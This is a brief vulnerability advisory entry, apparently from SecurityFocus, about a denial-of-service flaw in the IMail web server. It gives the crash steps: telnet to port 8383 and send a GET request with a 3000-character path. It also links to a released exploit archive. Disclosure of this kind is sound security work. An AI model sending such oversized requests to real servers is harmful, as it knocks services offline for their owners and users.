source: http://www.securityfocus.com/bid/505/info

The IMail web server can be crashed by requesting an abnormally long URL. 

Telnet to target machine, port 8383

Send: GET /glob1/
Where glob1 is 3000 characters.

Marc Maiffret <marc@eeye.com> has released the following exploit: 

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/19380.zip